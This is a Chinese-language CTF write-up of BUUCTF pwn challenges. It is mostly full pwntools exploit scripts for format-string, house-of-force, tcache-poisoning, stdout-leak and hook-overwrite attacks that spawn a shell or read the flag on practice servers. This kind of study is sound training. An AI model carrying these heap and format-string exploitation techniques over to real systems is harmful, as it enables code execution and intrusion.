BUUCTF-PWN-第五页writep(32题)
花了十天把前四页共 128 题全部再做了一遍,加上一个是因为难度增加了,写得比较慢,另一个是期末周了时间比较少,所以拖了 20 天才发这篇题解
pwnable_asm
沙盒逃逸 orw 题
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 28829) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() p.recv() shellcode = shellcraft.open('./flag') + shellcraft.read(3, 0x41414200, 0x40) + shellcraft.write(1, 0x41414200, 0x40) shellcode = asm(shellcode) p.send(shellcode) print(p.recv())
picoctf_2018_echooo、
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 27400) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') def debug(): gdb.attach(p) pause() p.recv() p.sendline(b'%8$s') p.recv()
qctf_2018_stack2
和第四页一道题一样
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 28157) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') def debug(): gdb.attach(p) pause() p.sendline(b'1') p.sendline(b'1') addr = [0x9B,0x85,0x04,0x8] for i in range(4): p.sendline(b'3') p.sendline(str(0x84+i)) p.sendline(str(addr[i])) p.sendline(b'5') p.interactive()
npuctf_2020_level2
明显的格式化字符串,并且开启了 PIE ,而且是把数据写在 bss 上
打个断点调试下
可以获得很多信息,泄露 libc_base 就不说了,这里跟数据写在堆上一样,利用 rop 链修改 ret 为 one_gadget
不过修改 ret 为 one_gadget 的时候需要一些技巧,并且要用 sendlineafter 发送数据,不然 prntf 无法正常利用 %k$n 修改数据
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 28339) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b *$rebase(0x813)') p.sendline(b'%7$p.%9$p') p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - 231 - libc.sym['__libc_start_main'] p.recvuntil(b'0x') stack = int(p.recv(12), 16) - 0xe0 print(' libc_base -> ', hex(libc_base)) print(' stack -> ', hex(stack)) one_gadget = libc_base + 0x4f322 payload = b'%' + str(stack & 0xffff).encode() + b'c%9$hn' p.sendlineafter(b'\n', payload) payload = b'%' + str(one_gadget & 0xff).encode() + b'c%35$hhn' p.sendlineafter(b'\x20\xb4\x0a', payload) payload = b'%' + str((stack+1) & 0xffff).encode() + b'c%9$hn' p.sendlineafter(b'\n', payload) payload = b'%' + str((one_gadget >> 8) & 0xff).encode() + b'c%35$hhn' p.sendlineafter(b'\x20\xb4\x0a', payload) payload = b'%' + str((stack+2) & 0xffff).encode() + b'c%9$hn' p.sendlineafter(b'\n', payload) payload = b'%' + str((one_gadget >> 16) & 0xff).encode() + b'c%35$hhn' p.sendlineafter(b'\x20\xb4\x0a', payload) p.sendlineafter(b'\x20\xb4\x0a', b'66666666\x00') p.interactive()
bcloud_bctf_2016
ubuntu 16 ,没开 PIE
这里是第一个漏洞点,由于 v2 在 s 的下面, sub_804879 会调用 printf 利用 %s 输出,如果 s 被填满的话,那么 v2 也会被 strcpy 复制进 chunk 中,紧接着会被 printf 泄露堆地址
这里是第二个漏洞点,由于各个变量都是紧贴着的,所以利用 stcpy 复制 s 到 v2 指向的堆块 的时候,会把 s 以及下面的 v2 和 v3 都复制进去,所有可以利用这个漏洞修改 top_chunk_size 。
又能泄露堆块地址,又能修改 top_chunk_size ,就是 house_of_force 了
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27402) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def init(name, org, host): p.sendlineafter(b'name:\n', name) p.sendlineafter(b'Org:\n', org) p.sendlineafter(b'Host:\n', host) def add(size, content): p.sendlineafter(b'>>\n', b'1') p.sendlineafter(b'content:\n', str(size)) p.sendlineafter(b'content:\n', content) def edit(index, content): p.sendlineafter(b'>>\n', b'3') p.sendlineafter(b'id:\n', str(index)) p.sendlineafter(b'content:\n', content) def free(index): p.sendlineafter(b'>>\n', b'4') p.sendlineafter(b'id:\n', str(index)) def syn(): p.sendlineafter(b'>>\n', b'5') # get_top_chunk_addr house_of_force p.sendafter(b'name:\n', b'a'*0x3c + b'stop') p.recvuntil(b'stop') heap_addr = u32(p.recv(4)) top_chunk_addr = heap_addr + 0xd0 print(' heap_addr -> ', hex(heap_addr)) p.sendafter(b'Org:\n', b'a'*0x40) p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c) ptr = 0x804B120 offset = ptr - top_chunk_addr - 0x10 add(offset, b'') # leak libc_base add(0x20, p32(0) + p32(elf.got['free']) + p32(elf.got['atoi'])) edit(1, p32(elf.sym['puts'])) print(hex(elf.sym['puts'])) free(2) libc_base = u32(p.recv(4)) - libc.sym['atoi'] print(' libc_base -> ', hex(libc_base)) # free -> system system = libc_base + libc.sym['system'] edit(1, p32(system)) # pwn add(0x10, b'/bin/sh\x00') free(0) p.interactive() #debug()
roarctf_2019_realloc_magic
一个比较难的一道题, ubuntu18 64 位,保护全开
菜单
realloc 函数比较特殊
realloc 函数的特点
他的基础功能是改变mem_address所指内存区域的大小为newsize长度。这里就有几种不同的情况
1.当size为0,这时就相当于free()函数,同时返回值为null
2.当指针为0,size大于0,相当于malloc函数
3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉
4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。
free
ba 置 ptr 为 0
这里没有 show 泄露 libc ,需要用到 _IO_2_1_stdout_ 泄露 libc_base
关于 IO_FILE 的利用,可以见 链接
思路:先申请三个 chunk ,利用 realloc 的特性,一个是 size = 0 并且 ptr != 0 的时候相当于 free,并且返回空值,和再次申请比之前的 chunk 大的时候会在原基础上扩充(如果空间足够),利用这个我们可以修改 tcache bin 中 的 chunk 的 fd,利用 tcache bin 修改 _IO_2_1_stdout ,泄露 libc_base,之后同意利用这个漏洞修改 free_hook 为 system ,来 ges shell
那么第一步就是先泄露 iibc_base ,为了能够在 _IO_2_1_stdout 上申请 chunk ,需要用到 unsorted bin 的 fd ,这里先填充满 tcache bin ,再 free,接着利用 realloc 的特性修改 unsorted bin 中的 该 chunk 的 fd ,使其指向 _IO_2_1_stdout_(这里需要爆破一个十六进制位),就能在 _IO_2_1_stdout 上面申请 chunk 修改数据了
可以看到 _IO_2_1_stdout 的低三十六进制位为 0x760 ,这里我们最低要修改 fd 的低两个字节就行了,所以需要爆破
realloc(0x30, b'a') realloc(0, '') realloc(0x80, b'a') realloc(0, '') realloc(0x10, b'a') realloc(0, '') realloc(0x80, b'a') for i in range(7): free() realloc(0, '') realloc(0x30, b'a') payload = p64(0)*7 + p64(0x91) + p8(0x60) + p8(0xc7) realloc(0x50, payload)
可以看到成功修改,接下来就是 leak_libcbase 了
# first_attack ---> leak_libc_base realloc(0x30, b'a') realloc(0, '') realloc(0x80, b'a') realloc(0, '') realloc(0x10, b'a') realloc(0, '') realloc(0x80, b'a') for i in range(7): free() realloc(0, '') realloc(0x30, b'a') payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(0xc7) realloc(0x50, payload) realloc(0, '') realloc(0x80, b'a') realloc(0, '') payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58) realloc(0x80, payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps'] print(' libc_base -> ', hex(libc_base))
0x58 是为了指向前面,个人认为这个是不是 0x58 倒是无所谓
泄露的是
这里巧妙的是利用 0x51 把原来的 unsorted bin 中的 0x80 大小的 chunk 的 size 改小了,如果不改小的话,那么 realloc(0. '') 后,由于头插法,这个 chunk 的地址还是会被放入 tcache bin 中 0x90 的链条的头,就不能申请到 _IO_2_1_stdout_ 了
再利用这个漏洞进行第二次攻击,修改 free_hook 为 system
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29769) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def realloc(size, content): p.sendlineafter(b'>> ', '1') p.sendlineafter(b'?\n', str(size)) p.sendafter(b'?\n', content) def free(): p.sendlineafter(b'>> ', '2') def ba(): p.sendlineafter(b'>> ', '666') # first_attack ---> leak_libc_base realloc(0x30, b'a') realloc(0, '') realloc(0x80, b'a') realloc(0, '') realloc(0x10, b'a') realloc(0, '') realloc(0x80, b'a') for i in range(7): free() realloc(0, '') realloc(0x30, b'a') payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(0xe7) realloc(0x50, payload) realloc(0, '') realloc(0x80, b'a') realloc(0, '') payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58) realloc(0x80, payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps'] print(' libc_base -> ', hex(libc_base)) # second_attack ----> free_hook -> system ba() realloc(0x20, b'a') realloc(0, '') realloc(0x90, b'a') realloc(0, '') realloc(0x10, b'a') realloc(0, '') realloc(0x90, b'a') for i in range(7): free() realloc(0, '') free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] realloc(0x20, b'a') payload = p64(0)*5 + p64(0x51) + p64(free_hook - 0x8) realloc(0x40, payload) realloc(0, '') realloc(0x90, b'a') realloc(0, '') realloc(0x90, b'/bin/sh\x00' + p64(system)) #pwn free() p.interactive() #debug()
感觉自己越来越强了
ciscn_2019_s_6
比较简单的堆题,UAF
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 26549) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size, name, call): p.sendlineafter(b'choice:', '1') p.sendlineafter(b'name\n', str(size)) p.sendafter(b'name:\n', name) p.sendafter(b'call:\n', call) def show(index): p.sendlineafter(b'choice:', '2') p.sendlineafter(b'index:\n', str(index)) def free(index): p.sendlineafter(b'choice:', '3') p.sendlineafter(b'index:\n', str(index)) # leak libc_base add(0x410, b'a', b'b') #index 0 add(0x10, b'a', b'a') #index 1 add(0x10, b'/bin/sh\x00', b'a') #index 2 free(0) show(0) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) # dup ----> free_hook -> system free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] free(1) free(1) add(0x18, p64(free_hook), b'a') add(0x18, p64(system), b'a') # pwn free(2) p.interactive()
sctf_2019_easy_heap
ubuntu 18 保护全开的堆题
有 add free edit 功能,漏洞点存在于 edit
存在 off by null 漏洞
这道题学习的地方是怎么 unlink
先申请四个 chunk
add(0x420) #index 0 add(0x68) #index 1 add(0x4f0) #index 2 add(0x20) #index 3
我们先 free(0) ,利用 off by null 将 chunk2 的 prve size 修改为 0x4a0 并且将 size 的最低为置零
这时候再去 free(1) 和 free(2) 就会向上合并,成为一个大的 chunk
接着再申请和 chunk0 大小相同的 chunk ,即 0x420 ,就能利用 unsorted bin 的特性将 main_arena_xx 写入原本 chunk1 的 user data 开头,也就是 free 后 chunk1 的 fd ,即 tcache bin 中的 chunk1 的 fd 被修改成了 main_arena_xx
然后再 free 和 chunk0 相同大小的 chunk,接着申请比刚刚的 chunk0 大 0x20 的 chunk,即 0x440 大小,这样我们就能修改 tcache bin 中的 chunk1 的 fd 了,我们修改低二字节,令其指向 _IO_2_1_stdout_,接着就是 leak_libc
free(0) edit(1, p64(0)*12 + p64(0x4a0)) free(1) free(2) add(0x420) #index 0 free(0) add(0x440) #index 0 edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7))
然后再次利用这个漏洞修改 free_hook -> system 来 get shell
exp
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 26525) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size): p.sendlineafter(b'>> ', b'1') p.sendlineafter(b'Size: ', str(size)) def free(index): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(index)) def edit(index, content): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b': ', str(index)) p.sendlineafter(b': ', content) p.recvuntil(b'0x') buf = int(p.recv(10), 16) print(' buf -> ', hex(buf)) # first_attack leak_libc_base add(0x420) #index 0 add(0x68) #index 1 add(0x4f0) #index 2 add(0x20) #index 3 free(0) edit(1, p64(0)*12 + p64(0x4a0)) free(1) free(2) add(0x420) #index 0 free(0) add(0x440) #index 0 edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7)) add(0x60) #index 1 add(0x60) #index 2 edit(2, p64(0xfbad1800) + p64(0)*3 + b'\x58') libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps'] print(' libc_base -> ', hex(libc_base)) # second_attack free_hook -> system add(0x540) #index 4 add(0x410) #index 5 add(0x28) #index 6 add(0x4f0) #index 7 add(0x20) #index 8 free(5) edit(6, p64(0)*4 + p64(0x450)) free(6) free(7) add(0x410) #index 5 free(5) add(0x430) #index 5 free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p64(free_hook)) add(0x20) #index 6 add(0x20) #index 7 edit(7, p64(system)) # pwn add(0x10) #index 8 edit(8, b'/bin/sh\x00') free(8) p.interactive() #debug()
另外的解法:这里开辟了一处可以执行 shellcode 的空间,并且泄露了地址。
同样利用上面的漏洞,先在这段开辟的空间写入 shellcode ,又再一次利用漏洞执行 shellcode
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 26525) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size): p.sendlineafter(b'>> ', b'1') p.sendlineafter(b'Size: ', str(size)) def free(index): p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(index)) def edit(index, content): p.sendlineafter(b'>> ', b'3') p.sendlineafter(b': ', str(index)) p.sendlineafter(b': ', content) p.recvuntil(b'0x') buf = int(p.recv(10), 16) print(' buf -> ', hex(buf)) # first_attack shellcode -> buf add(0x420) #index 0 add(0x68) #index 1 add(0x4f0) #index 2 add(0x20) #index 3 free(0) edit(1, p64(0)*12 + p64(0x4a0)) free(1) free(2) add(0x420) #index 0 free(0) add(0x440) #index 0 edit(0, p64(0)*0x85 + p64(0x71) + p64(buf)) add(0x60) #index 1 add(0x60) #index 2 edit(2, asm(shellcraft.sh())) # second_attack malloc_hook -> buf add(0x540) #index 4 add(0x410) #index 5 add(0x28) #index 6 add(0x4f0) #index 7 add(0x20) #index 8 free(5) edit(6, p64(0)*4 + p64(0x450)) free(6) free(7) add(0x410) #index 5 free(5) add(0x430) #index 5 edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p8(0x30)) add(0x20) #index 6 add(0x20) #index 7 edit(7, p64(buf)) # pwn add(0x10) p.interactive()
唯一注意的就是不泄露 libc ,只修改低一位 0x30 指向 malloc_hook
SWPUCTF_2019_login
输入数据在 bss 上的格式化字符串
先泄露 libc_base ,然后利用 rop 链
这里发现 ret + 8 的地方恰好是我们程序开始输入姓名的地址,我们输入 /bin,接下来直接修改 ret 为 system 地址
刚开始是想写 ret -> one_gadget ,但是 one_gadget 都是失效的
然后唯一不好的就是 buu 的 libc 和 glibc 的 libc 还是有区别的,glibc 的 libc 的 system 的后三位是 0x000 ,但是 %0c 也会输出一个字节,所以我这里是单字节写入了 0x100。也因此调式了好一会才打通远程
看其他的 wp 发现也有将 print -> system 的
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 27976) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() p.sendlineafter(b'name: \n', b'/bin/sh\x00') # leak_libc_base payload = b'%15$p' p.sendlineafter(b'\n', payload) p.recvuntil(b'0x') libc_base = int(p.recv(8), 16) - libc.sym['__libc_start_main'] - 241 print(' libc_base -> ', hex(libc_base)) # leak_ret payload = b'%6$p' p.sendlineafter(b'Try again!\n', payload) p.recvuntil(b'0x') ret = int(p.recv(8), 16) - 0xc print(' ret -> ', hex(ret)) # ret -> system system = libc_base + libc.sym['system'] print(' system -> ', hex(system)) low_8 = system & 0xff low_16 = (system >> 8) & 0xff low_24 = (system >> 16) & 0xff low_32 = (system >> 24) & 0xff low = [low_8, low_16, low_24, low_32] for i in range(len(low)): ret_low_8 = ret & 0xff payload = b'%' + str(ret_low_8 + i).encode() + b'c%6$hhn' p.sendlineafter(b'Try again!\n', payload) p.sendlineafter(b'Try again!\n', b'stopstop') p.recvuntil(b'stopstop') payload = b'%' + str(low[i]).encode() + b'c%10$hhn' p.sendlineafter(b'Try again!\n', payload) p.sendafter(b'Try again!\n', b'wllmmllw\x00') p.interactive()
SWPUCTF_2019_p1KkHeap
保护全开的 ubuntu 18 的 UAF 堆题,四个功能都有,但是只能执行 18 次选项,并且只能 free 三次,并且限制了只能申请不大于 0x100 的堆块
这里利用 dup 泄露 堆块地址 和 修改 tcache struct 来泄露 libc_libcbase
然后由于开了沙盒限制,并且有一段可执行的内存空间,接下来就是把 orw_shellcode 写入,然后修改 malloc_hook 为内存空间的地址去执行 orw 泄露 flag
保护全开的 ubuntu 18 的 UAF 堆题,四个功能都有,但是只能执行 18 次选项,并且只能 free 三次,并且限制了只能申请不大于 0x100 的堆块 这里利用 dup 泄露 堆块地址 和 修改 tcache struct 来泄露 libc_libcbase 然后由于开了沙盒限制,并且有一段可执行的内存空间,接下来就是把 orw_shellcode 写入,然后修改 malloc_hook 为内存空间的地址去执行 orw 泄露 flag from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') p = process('./pwn') #p = remote('node4.buuoj.cn', 29129) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size): p.sendlineafter(b'Your Choice:', '1') p.sendlineafter(b'size: ', str(size)) def show(index): p.sendlineafter(b'Your Choice:', '2') p.sendlineafter(b'id: ', str(index)) def edit(index, content): p.sendlineafter(b'Your Choice:', '3') p.sendlineafter(b'id: ', str(index)) p.sendafter(b'content: ', content) def free(index): p.sendlineafter(b'Your Choice:', '4') p.sendlineafter(b'id: ', str(index)) # leak libc_base add(0x100) #index 0 add(0x10) #index 1 free(0) free(0) show(0) p.recvuntil(b'content: ') tcache_struct_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x260 print(' tcache_struct_addr -> ', hex(tcache_struct_addr)) add(0x100) #index 2 edit(2, p64(tcache_struct_addr + 0x10)) add(0x100) #index 3 add(0x100) #index 4 buf = 0x66660000 edit(4, b'\x07'*0x40 + p64(0)*4 + p64(buf)) free(3) show(3) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) # orw_shellcode -> buf add(0x50) #index 5 shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3, buf + 0x100, 0x40) + shellcraft.write(1, buf + 0x100, 0x40)) edit(5, shellcode) # malloc_hook -> buf malloc_hook = libc_base + libc.sym['__malloc_hook'] edit(4, b'\x00\x01' + b'\x00'*(0x40-2) + p64(0) + p64(malloc_hook)) add(0x20) #index 6 edit(6, p64(buf)) #get_flag add(0x20) print(p.recv())
de1ctf_2019_weapon
之前以为 UAF 的题都比较简单,而且还是 ubuntu 16,结果做了三四个小时,调试还要去读 1/16 的概率,真的痛苦
一个是没有 show 方便泄露数据,另一个是不能申请超过 0x60 大小的 堆块。所以这道题泄露 libc_base 是重点。
这里要利用 dup 任意写先修改一个堆块的 size ,然后 free 进入 unsorted bin 来泄露 libc_base ,之后也是利用 dup 任意写修改 malloc_hook 为 one_gadget 。当然,其中也有一些细节要注意,比如怎么把 main_arena 放到 fast bin 中的 chunk 的 fd 中,以及如何绕过 malloc 和 free 的源码审查,就简单地写在代码注释里了
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') #p = remote('node4.buuoj.cn', 27632) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size, index, content): p.sendlineafter(b'>> \n', '1') p.sendlineafter(b': ', str(size)) p.sendlineafter(b': ', str(index)) p.sendafter(b':\n', content) def free(index): p.sendlineafter(b'>> \n', '2') p.sendlineafter(b':', str(index)) def edit(index, content): p.sendlineafter(b'>> \n', '3') p.sendlineafter(b':', str(index)) p.sendafter(b':\n', content) def pwn(): add(0x50, 0, b'a') add(0x50, 1, b'a') add(0x60, 2, b'a') add(0x50, 3, b'a') add(0x10, 4, b'a') edit(0, b'a'*0x40 + p64(0) + p64(0x61)) free(0) free(1) free(0) edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size add(0x50, 5, b'a') add(0x50, 6, p64(0) + p64(0x131)) # 修改 size free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中 free(1) add(0x50, 7, b'a') # main_arena_xx 放入 fd 中 add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_ edit(1, b'a'*0x40 + p64(0) + p64(0x61)) #接下来这部分是修改 size ,不然申请不了 free(0) #因为堆块的大小之前被 unsorted bin 的特性改变了 free(1) free(0) edit(0, p8(0xb0)) add(0x50, 9, b'a') add(0x50, 10, p64(0) + p64(0x71)) # _IO_2_1_stout_ -> leak_libc_base add(0x60, 11, b'a') payload = b'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0xa0) + p8(0xd2) add(0x60, 12, payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook'] print(' libc_base -> ', hex(libc_base)) sleep(1) # secode_attack malloc_hook -> one_gadget fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23 one_gadget = libc_base + 0xf1147 add(0x60, 13, b'a') free(13) edit(13, p64(fake_chunk)) add(0x60, 14, b'a') add(0x60, 15, b'a'*0x13 + p64(one_gadget)) # pwn p.sendlineafter(b'>> \n', '1') p.sendlineafter(b': ', str(0x10)) p.sendlineafter(b': ', str(16)) p.interactive() while(1): try: p = remote('node4.buuoj.cn', 27632) pwn() except: p.close()
ciscn_2019_n_7
一道新知识点的题,保护全开,而且由于限制,虽然有明显的任意写漏洞,但是以往把 one_gadget 写入 malloc_hook 或者 free_hook 的方法不行了,这里了解到需要写入 exit_hook
exi_hook 的地址
#在libc-2.23中 exit_hook = libc_base + 0x5f0040 + 3848 exit_hook = libc_base + 0x5f0040 + 3856 #在libc-2.27中 exit_hook = libc_base+0x619060+3840 exit_hook = libc_base+0x619060+3848
漏洞怎么利用就不详解了,比较容易。
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./pwn') p = remote('node4.buuoj.cn', 27632) elf = ELF('./pwn') #libc = ELF('buu/libc-2.23.so') libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size, name): p.sendlineafter(b'-> \n', '1') p.sendlineafter(b': \n', str(size)) p.sendafter(b':\n', name) def edit(name, content): p.sendlineafter(b'-> \n', '2') p.sendafter(b':\n', name) p.sendafter(b':\n', content) def show(): p.sendlineafter(b'-> \n', '3') def exit(): p.sendlineafter(b'-> \n', '4') def get_addr(): p.sendlineafter(b'-> \n', '666') get_addr() p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - libc.sym['_IO_puts'] print(' libc_base -> ', hex(libc_base)) one_gadget = libc_base + 0xf1147 exit_hook = libc_base + 0x5f0040 + 3848 add(0x60, p64(0) + p64(exit_hook)) edit(b'a'*8, p64(one_gadget)) print(hex(exit_hook)) p.sendlineafter(b'-> \n', b'a') p.interactive()
jarvisoj_typo
第一道 arm 架构的题目
以下命令可以执行 arm 程序
qemu-arm file_name
程序应该是栈溢出
IDA 反汇编结果是这样的
由于是静态编译,看着很费劲
接下来是 arm 程序的调试方法
将其挂载在端口
qemu-arm -g 1212 pwn # -g参数指定gdb链接端口,因为是静态链接,所以不需要-L参数指定动态链接库
然后进行调试
gdb-multiarch #启动gdb-multiarch
